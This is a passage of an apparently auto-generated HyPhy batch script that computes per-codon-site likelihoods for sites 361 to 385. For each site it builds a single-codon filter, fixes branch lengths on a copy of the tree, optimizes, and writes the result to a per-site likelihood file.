assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "361\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 362...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1083,1084,1085", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 362");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "362\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 363...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1086,1087,1088", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 363");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "363\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 364...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1089,1090,1091", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 364");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "364\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 365...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1092,1093,1094", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 365");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "365\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 366...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1095,1096,1097", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 366");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "366\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 367...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1098,1099,1100", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 367");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "367\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 368...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1101,1102,1103", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 368");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "368\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 369...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1104,1105,1106", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 369");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "369\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 370...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1107,1108,1109", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 370");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "370\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 371...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1110,1111,1112", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 371");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "371\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 372...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1113,1114,1115", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 372");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "372\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 373...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1116,1117,1118", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 373");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "373\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 374...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1119,1120,1121", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 374");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "374\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 375...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1122,1123,1124", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 375");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "375\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 376...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1125,1126,1127", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 376");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "376\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 377...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1128,1129,1130", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 377");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "377\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 378...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1131,1132,1133", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 378");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "378\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 379...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1134,1135,1136", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 379");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "379\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 380...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1137,1138,1139", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 380");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "380\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 381...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1140,1141,1142", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 381");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "381\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 382...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1143,1144,1145", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 382");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "382\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 383...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1146,1147,1148", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 383");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "383\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 384...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1149,1150,1151", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 384");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "384\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 385...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1152,1153,1154", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 385");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
